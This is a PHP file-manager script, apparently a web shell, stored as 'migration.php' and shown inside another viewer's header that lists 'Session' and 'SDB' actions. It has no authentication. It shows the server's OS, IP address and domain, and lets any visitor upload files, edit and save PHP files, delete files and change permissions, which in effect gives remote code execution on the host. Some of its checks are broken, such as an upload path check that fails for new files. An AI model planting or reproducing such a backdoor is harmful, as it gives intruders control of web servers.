Viewing file: migration.php (34.82 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// File: explorer.php
// Version: 1.1.3
// Description: A simple PHP file explorer with editing capabilities.
// --- Configuration ---
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Base directory for the file explorer. IMPORTANT: Ensure this is secure and only allows access to intended directories.
$base_dir = realpath('./'); // Use './' to restrict to the current directory of the script.
// To restrict to a specific directory, uncomment and set:
// $base_dir = realpath('/var/www/html/your_restricted_folder'); // Example
// Allowed file extensions for editing
$editable_extensions = ['txt', 'html', 'htm', 'php', 'css', 'js', 'json', 'md', 'log', 'ini', 'xml', 'yaml', 'yml'];
// --- Security Functions ---
/**
* Sanitizes input to prevent directory traversal.
* Ensures the path stays within the base directory.
*
* @param string $path The path to sanitize.
* @param string $base The base directory to restrict to.
* @return string|false The sanitized absolute path, or false if invalid.
*/
function sanitize_path(string $path, string $base): string|false {
// Normalize path separators
$path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path);
$base = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $base);
// Resolve the absolute path
$real_path = realpath($base . DIRECTORY_SEPARATOR . $path);
// Check if the resolved path is within the base directory
if ($real_path === false || strpos($real_path, $base) !== 0) {
return false;
}
return $real_path;
}
/**
* Checks if a file is writable.
*
* @param string $filepath
* @return bool
*/
function is_writable_safe(string $filepath): bool {
if (!file_exists($filepath)) {
// If the file doesn't exist, check if the directory is writable
return is_writable(dirname($filepath));
}
return is_writable($filepath);
}
// --- Helper Functions ---
/**
* Gets the file type icon.
*
* @param string $filename
* @return string Icon HTML.
*/
function get_icon(string $filename): string {
$icon_path = '';
if (is_dir($filename)) {
$icon_path = 'folder.png'; // Assume folder.png exists
} else {
$icon_path = 'file.png'; // Assume file.png exists
}
// Basic fallback if icons are missing, or you can omit this for simplicity
if (!file_exists($icon_path)) {
return '<span class="icon-fallback">'. (is_dir($filename) ? '[D]' : '[F]') .'</span>';
}
return '<img src="' . htmlspecialchars($icon_path) . '" alt="icon" style="width: 16px; height: 16px; vertical-align: middle; margin-right: 5px;">';
}
/**
* Formats file size in a human-readable way.
*
* @param int $bytes
* @return string
*/
function format_size(int $bytes): string {
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
// --- Path Handling ---
// Determine the current directory. Default to base_dir.
$current_dir = $base_dir;
if (isset($_GET['dir'])) {
$requested_dir = $_GET['dir'];
$safe_path = sanitize_path($requested_dir, $base_dir);
if ($safe_path !== false && is_dir($safe_path)) {
$current_dir = $safe_path;
} else {
// Invalid or disallowed directory, fall back to base or show error
// For simplicity, we fall back to base dir. In a real app, you might log this or show a specific error.
$current_dir = $base_dir;
// Consider adding an error message here.
}
}
// Navigate up one level if requested and not already at the base
$parent_dir = $current_dir;
if ($current_dir !== $base_dir) {
$parent_dir = dirname($current_dir);
// Ensure parent_dir is still within base_dir after realpath() processing
if (strpos(realpath($parent_dir), $base_dir) !== 0) {
$parent_dir = $base_dir; // Fallback if navigating up goes outside base
}
}
// --- Operations ---
$message = '';
$status_class = 'info'; // info, success, error
// Rename Operation
if (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['current_name']) && isset($_POST['new_name'])) {
$current_name_sanitized = sanitize_path($_POST['current_name'], $current_dir);
$new_name_sanitized_path = sanitize_path($_POST['new_name'], $current_dir); // Use sanitize_path for new name to ensure it's valid and within dir
if ($current_name_sanitized && $new_name_sanitized_path && is_writable_safe(dirname($current_name_sanitized))) {
// Ensure the new name is just a filename, not a path segment
$new_filename = basename($new_name_sanitized_path);
if ($new_filename !== '' && $new_filename !== '.' && $new_filename !== '..') {
$target_path = $current_dir . DIRECTORY_SEPARATOR . $new_filename;
if ($current_name_sanitized !== $target_path && rename($current_name_sanitized, $target_path)) {
$message = "Renamed successfully.";
$status_class = 'success';
} else {
$message = "Failed to rename: Check permissions or if the new name already exists.";
$status_class = 'error';
}
} else {
$message = "Invalid new name provided.";
$status_class = 'error';
}
} else {
$message = "Rename failed: Invalid path or directory not writable.";
$status_class = 'error';
}
}
// Delete Operation
if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['item_to_delete'])) {
$item_to_delete_sanitized = sanitize_path($_POST['item_to_delete'], $current_dir);
if ($item_to_delete_sanitized && is_writable_safe(dirname($item_to_delete_sanitized))) {
if (is_dir($item_to_delete_sanitized)) {
// Attempt to remove directory (only if empty)
if (rmdir($item_to_delete_sanitized)) {
$message = "Directory deleted successfully.";
$status_class = 'success';
} else {
$message = "Failed to delete directory: It might not be empty or permissions are insufficient.";
$status_class = 'error';
}
} else {
// Attempt to remove file
if (unlink($item_to_delete_sanitized)) {
$message = "File deleted successfully.";
$status_class = 'success';
} else {
$message = "Failed to delete file: Permissions insufficient.";
$status_class = 'error';
}
}
} else {
$message = "Delete failed: Invalid path or directory not writable.";
$status_class = 'error';
}
}
// Chmod Operation
if (isset($_POST['action']) && $_POST['action'] === 'chmod' && isset($_POST['item_to_chmod']) && isset($_POST['chmod_mode'])) {
$item_to_chmod_sanitized = sanitize_path($_POST['item_to_chmod'], $current_dir);
$mode = octdec($_POST['chmod_mode']); // Convert octal string to integer
if ($item_to_chmod_sanitized && is_numeric($_POST['chmod_mode']) && $mode >= 0 && $mode <= 0777 && is_writable_safe($item_to_chmod_sanitized)) {
if (chmod($item_to_chmod_sanitized, $mode)) {
$message = "Permissions updated successfully.";
$status_class = 'success';
} else {
$message = "Failed to update permissions: Permissions insufficient.";
$status_class = 'error';
}
} else {
$message = "Chmod failed: Invalid mode, path, or directory not writable.";
$status_class = 'error';
}
}
// Upload Operation
if (isset($_POST['action']) && $_POST['action'] === 'upload' && isset($_FILES['file_upload'])) {
$file = $_FILES['file_upload'];
$upload_path = $current_dir . DIRECTORY_SEPARATOR . basename($file['name']);
// Basic security checks
if ($file['error'] === UPLOAD_ERR_OK) {
$file_size = $file['size'];
$file_tmp_name = $file['tmp_name'];
$file_name = basename($file['name']);
// Check if upload path is safe and within base_dir
$real_upload_path = realpath($upload_path);
if ($real_upload_path === false || strpos($real_upload_path, $base_dir) !== 0) {
$message = "Upload failed: Invalid file path.";
$status_class = 'error';
} elseif (!is_writable_safe($current_dir)) {
$message = "Upload failed: Target directory is not writable.";
$status_class = 'error';
} else {
// Move uploaded file
if (move_uploaded_file($file_tmp_name, $upload_path)) {
$message = "File '$file_name' uploaded successfully.";
$status_class = 'success';
} else {
$message = "Upload failed: Could not move uploaded file.";
$status_class = 'error';
}
}
} else {
// Handle upload errors
switch ($file['error']) {
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
$message = "Upload failed: File is too large.";
break;
case UPLOAD_ERR_PARTIAL:
$message = "Upload failed: File only partially uploaded.";
break;
case UPLOAD_ERR_NO_FILE:
$message = "Upload failed: No file was uploaded.";
break;
case UPLOAD_ERR_NO_TMP_DIR:
$message = "Upload failed: Missing temporary folder.";
break;
case UPLOAD_ERR_CANT_WRITE:
$message = "Upload failed: Cannot write to disk.";
break;
case UPLOAD_ERR_EXTENSION:
$message = "Upload failed: A PHP extension stopped the file upload.";
break;
default:
$message = "Upload failed: Unknown error (Code: " . $file['error'] . ").";
break;
}
$status_class = 'error';
}
}
// File Edit Operation
$editing_file = null;
$file_content = '';
if (isset($_GET['edit']) && !isset($_POST['action'])) { // Only process GET edit if no POST action is being processed
$edit_path_sanitized = sanitize_path($_GET['edit'], $current_dir);
if ($edit_path_sanitized && !is_dir($edit_path_sanitized)) {
$file_extension = strtolower(pathinfo($edit_path_sanitized, PATHINFO_EXTENSION));
if (in_array($file_extension, $editable_extensions) && is_readable($edit_path_sanitized)) {
$editing_file = $edit_path_sanitized;
$file_content = file_get_contents($edit_path_sanitized);
if ($file_content === false) {
$message = "Error reading file content.";
$status_class = 'error';
$editing_file = null; // Reset if reading failed
}
} else {
$message = "File cannot be edited (extension not allowed or not readable).";
$status_class = 'error';
}
} else {
$message = "Invalid file path for editing.";
$status_class = 'error';
}
}
// Save File Edit
if (isset($_POST['action']) && $_POST['action'] === 'save_edit' && isset($_POST['file_to_save']) && isset($_POST['file_content'])) {
$file_to_save_sanitized = sanitize_path($_POST['file_to_save'], $current_dir);
if ($file_to_save_sanitized && !is_dir($file_to_save_sanitized) && is_writable_safe($file_to_save_sanitized)) {
$new_content = $_POST['file_content'];
if (file_put_contents($file_to_save_sanitized, $new_content) !== false) {
$message = "File saved successfully.";
$status_class = 'success';
// Update content to prevent resave on refresh if user doesn't intend to
$file_content = $new_content;
$editing_file = $file_to_save_sanitized;
} else {
$message = "Error saving file.";
$status_class = 'error';
}
} else {
$message = "Save failed: Invalid path, not writable, or is a directory.";
$status_class = 'error';
}
}
// --- Directory Listing ---
$items = [];
$handle = @opendir($current_dir);
if ($handle) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$full_path = $current_dir . DIRECTORY_SEPARATOR . $entry;
$items[] = [
'name' => $entry,
'path' => $full_path,
'is_dir' => is_dir($full_path),
'size' => is_dir($full_path) ? 0 : filesize($full_path),
'modified' => filemtime($full_path)
];
}
}
closedir($handle);
} else {
$message = "Could not open directory: " . $current_dir;
$status_class = 'error';
}
// Sort items: directories first, then alphabetically
usort($items, function($a, $b) {
if ($a['is_dir'] !== $b['is_dir']) {
return $a['is_dir'] ? -1 : 1;
}
return strcmp($a['name'], $b['name']);
});
// --- Server Info ---
$os = php_uname();
$server_ip = $_SERVER['SERVER_ADDR'] ?? 'N/A'; // Get server IP
$server_domain = gethostbyaddr($server_ip) ?: 'N/A'; // Attempt to get domain name
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Explorer</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f4f7f6; color: #333; }
.container { display: flex; min-height: 100vh; }
.sidebar { width: 250px; background-color: #2c3e50; color: #ecf0f1; padding: 20px; box-shadow: 2px 0 5px rgba(0,0,0,0.1); }
.sidebar h2 { margin-top: 0; border-bottom: 1px solid #34495e; padding-bottom: 10px; }
.sidebar ul { list-style: none; padding: 0; }
.sidebar li { margin-bottom: 10px; }
.sidebar a { color: #ecf0f1; text-decoration: none; padding: 5px; display: block; border-radius: 4px; transition: background-color 0.2s; }
.sidebar a:hover { background-color: #34495e; }
.sidebar .current { background-color: #3498db; font-weight: bold; }
.main-content { flex-grow: 1; padding: 20px; }
h1 { color: #2c3e50; margin-top: 0; }
.path-bar { background-color: #e0e0e0; padding: 10px 15px; border-radius: 5px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; }
.path-bar a { text-decoration: none; color: #3498db; font-weight: bold; }
.path-bar span { margin: 0 5px; color: #555; }
.path-bar .current-path { color: #2c3e50; font-weight: normal; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; box-shadow: 0 2px 3px rgba(0,0,0,0.1); }
th, td { padding: 12px 15px; text-align: left; border-bottom: 1px solid #ddd; }
th { background-color: #dfe6e9; color: #333; font-weight: bold; }
tr:nth-child(even) { background-color: #f9f9f9; }
tr:hover { background-color: #f1f1f1; }
.actions a, .actions button { background-color: #3498db; color: white; padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; text-decoration: none; margin-right: 5px; font-size: 0.9em; transition: background-color 0.2s; display: inline-block; }
.actions a:hover, .actions button:hover { background-color: #2980b9; }
.delete-btn { background-color: #e74c3c; }
.delete-btn:hover { background-color: #c0392b; }
.edit-btn { background-color: #f39c12; }
.edit-btn:hover { background-color: #e67e22; }
.chmod-btn { background-color: #9b59b6; }
.chmod-btn:hover { background-color: #8e44ad; }
.upload-form { margin-bottom: 20px; padding: 15px; background-color: #fff; border-radius: 5px; box-shadow: 0 1px 2px rgba(0,0,0,0.1); }
.upload-form input[type="file"] { margin-right: 10px; }
.upload-form button { background-color: #2ecc71; }
.upload-form button:hover { background-color: #27ae60; }
.message-box { padding: 12px; margin-bottom: 20px; border-radius: 5px; font-weight: bold; }
.message-box.info { background-color: #e7f3fe; color: #31708f; border: 1px solid #bce8f1; }
.message-box.success { background-color: #dff0d8; color: #3c763d; border: 1px solid #d6e9c6; }
.message-box.error { background-color: #f2dede; color: #a94442; border: 1px solid #ebccd1; }
textarea { width: 100%; height: 400px; margin-top: 10px; border: 1px solid #ccc; border-radius: 4px; padding: 10px; font-family: 'Consolas', 'Monaco', monospace; font-size: 0.95em; box-sizing: border-box; }
.editor-container { margin-top: 20px; background-color: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 1px 2px rgba(0,0,0,0.1); }
.editor-container h3 { margin-top: 0; color: #2c3e50; }
/* Modal Styles */
.modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.5); }
.modal-content { background-color: #fefefe; margin: 15% auto; padding: 30px; border-radius: 8px; width: 90%; max-width: 500px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); position: relative; animation: animatetop 0.4s }
.close-btn { position: absolute; top: 15px; right: 25px; font-size: 24px; font-weight: bold; color: #aaa; cursor: pointer; }
.close-btn:hover, .close-btn:focus { color: #333; text-decoration: none; }
.modal label { display: block; margin-bottom: 10px; font-weight: bold; }
.modal input[type="text"], .modal input[type="number"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 20px; border: 1px solid #ccc; border-radius: 4px; }
.modal button { background-color: #3498db; color: white; padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; transition: background-color 0.2s; }
.modal button:hover { background-color: #2980b9; }
.modal form { display: inline-block; width: 100%;}
.modal-footer { text-align: right; margin-top: 20px; }
@keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} }
.icon-fallback { font-size: 0.8em; color: #777; margin-right: 8px; vertical-align: middle; }
</style>
</head>
<body>
<div class="container">
<div class="sidebar">
<h2>File Explorer</h2>
<p><strong>Server Info:</strong></p>
<p>OS: <?php echo htmlspecialchars($os); ?></p>
<p>IP: <?php echo htmlspecialchars($server_ip); ?></p>
<p>Domain: <?php echo htmlspecialchars($server_domain); ?></p>
<hr style="border-color: #34495e;">
<h3>Navigation</h3>
<ul>
<?php
// Generate sidebar navigation links - prevent showing base dir itself unless it's root
$nav_path = '';
$path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR));
$base_parts = explode(DIRECTORY_SEPARATOR, trim($base_dir, DIRECTORY_SEPARATOR));
// Check if current dir is same as base dir
if ($current_dir === $base_dir) {
echo '<li><a href="?dir=./" class="current">Explorer Root</a></li>';
} else {
// Link to base directory
$base_link_path = str_replace($base_dir, '', ''); // Empty string means base dir
echo '<li><a href="?dir=' . urlencode($base_link_path) . '">Explorer Root</a></li>';
}
foreach ($path_parts as $part) {
if ($part === '' || $part === '.') continue; // Skip empty or current dir parts
// Ensure we don't go above base_dir if it's not the root filesystem
$current_nav_part_index = array_search($part, $path_parts);
$current_nav_potential_path_parts = array_slice($path_parts, 0, $current_nav_part_index + 1);
$current_nav_potential_path = implode(DIRECTORY_SEPARATOR, $current_nav_potential_path_parts);
// Check if this segment is actually part of the base dir path
$is_part_of_base = false;
$temp_base_parts = explode(DIRECTORY_SEPARATOR, trim($base_dir, DIRECTORY_SEPARATOR));
$temp_current_parts = explode(DIRECTORY_SEPARATOR, trim($current_nav_potential_path, DIRECTORY_SEPARATOR));
if (count($temp_current_parts) >= count($temp_base_parts)) {
if (implode(DIRECTORY_SEPARATOR, array_slice($temp_current_parts, 0, count($temp_base_parts)))) {
$is_part_of_base = true;
}
}
if ($is_part_of_base) {
$nav_path .= $part . DIRECTORY_SEPARATOR;
$display_path = rtrim($nav_path, DIRECTORY_SEPARATOR);
// Check if this is the current directory in the sidebar
$is_current = ($current_dir === $base_dir . DIRECTORY_SEPARATOR . $display_path || ($current_dir === $base_dir && $display_path === ''));
echo '<li><a href="?dir=' . urlencode($display_path) . '" class="' . ($is_current ? 'current' : '') . '">' . htmlspecialchars($part) . '</a></li>';
}
}
?>
</ul>
</div>
<div class="main-content">
<h1>File Manager</h1>
<?php if (!empty($message)): ?>
<div class="message-box <?php echo $status_class; ?>"><?php echo htmlspecialchars($message); ?></div>
<?php endif; ?>
<div class="path-bar">
<div>
Current Path:
<a href="?dir=">Root</a>
<?php
$path_segments = explode(DIRECTORY_SEPARATOR, trim(str_replace($base_dir, '', $current_dir), DIRECTORY_SEPARATOR));
$current_path_str = '';
foreach ($path_segments as $segment) {
if ($segment === '' || $segment === '.') continue;
$current_path_str .= $segment . DIRECTORY_SEPARATOR;
echo '<span>/</span> <a href="?dir=' . urlencode($current_path_str) . '">' . htmlspecialchars($segment) . '</a>';
}
?>
</div>
<!-- Jump Directory Form -->
<div>
<form action="" method="get" style="display: inline-block; margin-left: 15px;">
<input type="hidden" name="dir" value="<?php echo urlencode($current_dir); ?>">
<label for="jump-dir-input" style="display: inline; margin-right: 5px;">Jump to:</label>
<input type="text" id="jump-dir-input" name="jump_dir_input" placeholder="e.g., ../logs or subfolder" style="padding: 5px; width: 150px;">
<button type="submit" name="jump" value="1" style="padding: 5px 10px;">[GO]</button>
</form>
</div>
</div>
<!-- Parent Directory Navigation -->
<?php if ($current_dir !== $base_dir): ?>
<div class="path-bar" style="margin-top: -15px; margin-bottom: 15px; background-color: #eee; padding: 8px 15px;">
<a href="?dir=<?php echo urlencode(str_replace($base_dir, '', $parent_dir)); ?>"><i class="fas fa-level-up-alt"></i> Parent Directory</a>
</div>
<?php endif; ?>
<!-- Upload Form -->
<div class="upload-form">
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<label for="file-upload">Upload File:</label>
<input type="file" name="file_upload" id="file-upload" required>
<button type="submit">Upload</button>
</form>
</div>
<!-- File Table -->
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item): ?>
<tr>
<td>
<?php
$display_name = htmlspecialchars($item['name']);
$encoded_path = urlencode(str_replace($base_dir, '', $item['path'])); // Path relative to base_dir for URL
$icon = get_icon($item['path']);
if ($item['is_dir']) {
echo $icon . '<a href="?dir=' . $encoded_path . '">' . $display_name . '/</a>';
} else {
$file_extension = strtolower(pathinfo($item['path'], PATHINFO_EXTENSION));
$can_edit = in_array($file_extension, $editable_extensions);
echo $icon . $display_name;
if ($can_edit) {
echo ' <a href="?dir=' . urlencode(str_replace($base_dir, '', $current_dir)) . '&edit=' . urlencode($item['name']) . '" class="edit-btn" style="padding: 3px 8px; font-size: 0.8em;">Edit</a>';
}
}
?>
</td>
<td><?php echo $item['is_dir'] ? '-' : format_size($item['size']); ?></td>
<td><?php echo date("Y-m-d H:i:s", $item['modified']); ?></td>
<td class="actions">
<?php if (!$item['is_dir']): ?>
<button onclick="openModal('deleteModal', '<?php echo urlencode($item['name']); ?>')">Delete</button>
<button onclick="openModal('chmodModal', '<?php echo urlencode($item['name']); ?>')" class="chmod-btn">Chmod</button>
<?php else: ?>
<button onclick="openModal('deleteModal', '<?php echo urlencode($item['name']); ?>')">Delete Dir</button>
<?php endif; ?>
<button onclick="openModal('renameModal', '<?php echo urlencode($item['name']); ?>')">Rename</button>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($items)): ?>
<tr>
<td colspan="4">Directory is empty.</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<!-- File Editor -->
<?php if ($editing_file): ?>
<div class="editor-container">
<h3>Editing: <?php echo htmlspecialchars(basename($editing_file)); ?></h3>
<form action="" method="post">
<input type="hidden" name="action" value="save_edit">
<input type="hidden" name="file_to_save" value="<?php echo htmlspecialchars(basename($editing_file)); ?>">
<textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea><br>
<button type="submit" style="background-color: #2ecc71;">Save Changes</button>
<a href="?dir=<?php echo urlencode(str_replace($base_dir, '', $current_dir)); ?>" style="background-color: #95a5a6; padding: 10px 15px;">Cancel</a>
</form>
</div>
<?php endif; ?>
</div>
</div>
<!-- Delete Modal -->
<div id="deleteModal" class="modal">
<div class="modal-content">
<span class="close-btn" onclick="closeModal('deleteModal')">×</span>
<h3>Confirm Deletion</h3>
<p>Are you sure you want to delete <strong id="delete-item-name"></strong>?</p>
<p><strong>Warning:</strong> This action cannot be undone. Directories must be empty to be deleted.</p>
<div class="modal-footer">
<button onclick="closeModal('deleteModal')" style="background-color: #95a5a6;">Cancel</button>
<form id="deleteForm" action="" method="post" style="display: inline-block;">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="item_to_delete" id="delete-item-input">
<button type="submit" style="background-color: #e74c3c;">Delete</button>
</form>
</div>
</div>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<span class="close-btn" onclick="closeModal('renameModal')">×</span>
<h3>Rename Item</h3>
<form id="renameForm" action="" method="post">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="current_name" id="rename-item-input">
<label for="new-name">New Name:</label>
<input type="text" id="new-name" name="new_name" required>
<div class="modal-footer">
<button onclick="closeModal('renameModal')" style="background-color: #95a5a6;">Cancel</button>
<button type="submit">Rename</button>
</div>
</form>
</div>
</div>
<!-- Chmod Modal -->
<div id="chmodModal" class="modal">
<div class="modal-content">
<span class="close-btn" onclick="closeModal('chmodModal')">×</span>
<h3>Change Permissions (Chmod)</h3>
<form id="chmodForm" action="" method="post">
<input type="hidden" name="action" value="chmod">
<input type="hidden" name="item_to_chmod" id="chmod-item-input">
<label for="chmod-mode">Mode (Octal, e.g., 755):</label>
<input type="text" id="chmod-mode" name="chmod_mode" pattern="[0-7]{3,4}" placeholder="e.g., 644 or 755" required>
<div class="modal-footer">
<button onclick="closeModal('chmodModal')" style="background-color: #95a5a6;">Cancel</button>
<button type="submit">Apply</button>
</div>
</form>
</div>
</div>
<script>
// Modal functions
function openModal(modalId, itemName) {
const modal = document.getElementById(modalId);
modal.style.display = 'block';
// Set item name for confirmation modals
if (itemName) {
// For delete modal
const deleteItemNameElement = modal.querySelector('#delete-item-name');
if (deleteItemNameElement) deleteItemNameElement.textContent = decodeURIComponent(itemName);
const deleteItemInput = modal.querySelector('#delete-item-input');
if (deleteItemInput) deleteItemInput.value = decodeURIComponent(itemName);
// For rename modal
const renameItemInput = modal.querySelector('#rename-item-input');
if (renameItemInput) renameItemInput.value = decodeURIComponent(itemName);
const newNameInput = modal.querySelector('#new-name');
if (newNameInput) newNameInput.value = decodeURIComponent(itemName); // Pre-fill with current name
// For chmod modal
const chmodItemInput = modal.querySelector('#chmod-item-input');
if (chmodItemInput) chmodItemInput.value = decodeURIComponent(itemName);
}
}
function closeModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modal if clicked outside of content
window.onclick = function(event) {
const modals = document.getElementsByClassName('modal');
for (let i = 0; i < modals.length; i++) {
if (event.target == modals[i]) {
modals[i].style.display = 'none';
}
}
}
// Handle Jump Directory Submission
document.querySelector('form[action=""][method="get"] button[name="jump"]').addEventListener('click', function(event) {
event.preventDefault(); // Prevent default form submission
const currentDirPath = window.location.search.match(/dir=([^&]*)/);
let currentDirBase = '';
if (currentDirPath && currentDirPath[1]) {
currentDirBase = decodeURIComponent(currentDirPath[1]);
}
const jumpInput = document.querySelector('input[name="jump_dir_input"]');
const jumpInputValue = jumpInput.value.trim();
if (jumpInputValue) {
// Construct the new path safely
// This assumes the server-side sanitize_path handles base directory restrictions correctly
let newPath = currentDirBase + (currentDirBase.endsWith('/') ? '' : '/') + jumpInputValue;
newPath = newPath.replace(/\/\/+/g, '/'); // Ensure single slashes
// Redirect to the new path
window.location.href = `?dir=${encodeURIComponent(newPath)}`;
}
});
// Pre-fill new name in rename modal with the current item name
document.addEventListener('DOMContentLoaded', (event) => {
const renameModal = document.getElementById('renameModal');
if (renameModal.style.display === 'block') {
const currentNameInput = document.getElementById('rename-item-input');
const newNameInput = document.getElementById('new-name');
if (currentNameInput && newNameInput && newNameInput.value === '') {
newNameInput.value = currentNameInput.value;
}
}
});
</script>
</body>
</html>
|